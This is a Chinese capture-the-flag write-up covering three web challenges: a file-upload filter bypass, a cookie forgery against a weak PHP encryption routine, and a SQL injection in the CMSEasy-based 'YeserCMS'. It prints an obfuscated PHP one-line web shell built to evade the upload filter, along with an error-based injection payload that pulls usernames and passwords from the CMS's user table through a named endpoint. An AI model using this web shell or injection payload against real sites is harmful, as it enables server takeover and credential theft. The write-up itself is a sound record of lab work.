Upload

什么文件都能上传但是过滤了 <？和php

上传内容为

1	<script language=pHp>$a = chr("97").ssert;$a($_POST[a]);</script>

密码为a 菜刀连一下查看源代码能看到上传地质为 /u/1.php

就能找到flag了

Code

这是一个原题还好玩了NUCA的练习赛
[原题链接

](http://www.hetianlab.com/html/news/news-2016072907.html)

构造view-source:http://909016d9650e4ced96fbbfc0b0f61f69d1996142d4d34845.game.ichunqiu.com/index.php?jpg=index.php并解码。得到index.php的源码内容，如下所示

可以看到一个正则将 - 改为config 这个正则等下会用到

然后根据原题的writeup 这个题目应该也是有一个.idea/workspace.xml的文件泄露
我们访问一下

我们会看到一个名字叫fl3g_ichunqiu.php的文件根据wp 我们知道这是一个加密算法文件读取一下根据上面的正则我们知道应该访问的是index.php?jpg=fl3gconfigichuqiu.php 再解码得到加密函数

<?php 
/** 
* Created by PhpStorm. 
* Date: 2015/11/16 
* Time: 1:31 
*/ 
error_reporting(E_ALL || ~E_NOTICE); 
include('config.php'); 
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { 
   $hash = ''; 
   $max = strlen($chars) - 1; 
   for($i = 0; $i < $length; $i++)	{ 
       $hash .= $chars[mt_rand(0, $max)]; 
   } 
   return $hash; 
} 

function encrypt($txt,$key){ 
   for($i=0;$i<strlen($txt);$i++){ 
       $tmp .= chr(ord($txt[$i])+10); 
   } 
   $txt = $tmp; 
   $rnd=random(4); 
   $key=md5($rnd.$key); 
   $s=0; 
   for($i=0;$i<strlen($txt);$i++){ 
       if($s == 32) $s = 0; 
       $ttmp .= $txt[$i] ^ $key[++$s]; 
   } 
   return base64_encode($rnd.$ttmp); 
} 
function decrypt($txt,$key){ 
   $txt=base64_decode($txt); 
   $rnd = substr($txt,0,4); 
   $txt = substr($txt,4); 
   $key=md5($rnd.$key); 

   $s=0; 
   for($i=0;$i<strlen($txt);$i++){ 
       if($s == 32) $s = 0; 
       $tmp .= $txt[$i]^$key[++$s]; 
   } 
   for($i=0;$i<strlen($tmp);$i++){ 
       $tmp1 .= chr(ord($tmp[$i])-10); 
   } 
   return $tmp1; 
} 
$username = decrypt($_COOKIE['user'],$key); 
if ($username == 'system'){ 
   echo $flag; 
}else{ 
   setcookie('user',encrypt('guest',$key)); 
   echo "â®(â¯â½â°)â"; 
} 
?>

最后用wp的poc 得到了16个加密密文用burp跑一下就能得到flag了

1 2	flag{92b5f008-4cfb-4f16-abdb-3475e2d0f543}

YeserCMS

MD 什么YeserCMS 明明是cmseasy

管理员账户是amdin
我先找一下后台好了访问robots.txt
发现两个重要的地方

一个是后台地址一个好像也是告诉我flag 在flag.php 里面但是直接访问读不出来

百度一下cmseasy的漏洞找到一个payload

xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxxNaN</q></xjxquery>xajax=Postdata&xajaxargs[0]=<xjxquery><q>detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),20,50),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- </q></xjxquery>

两次url编码后post注入注入点是/celive/live/header.php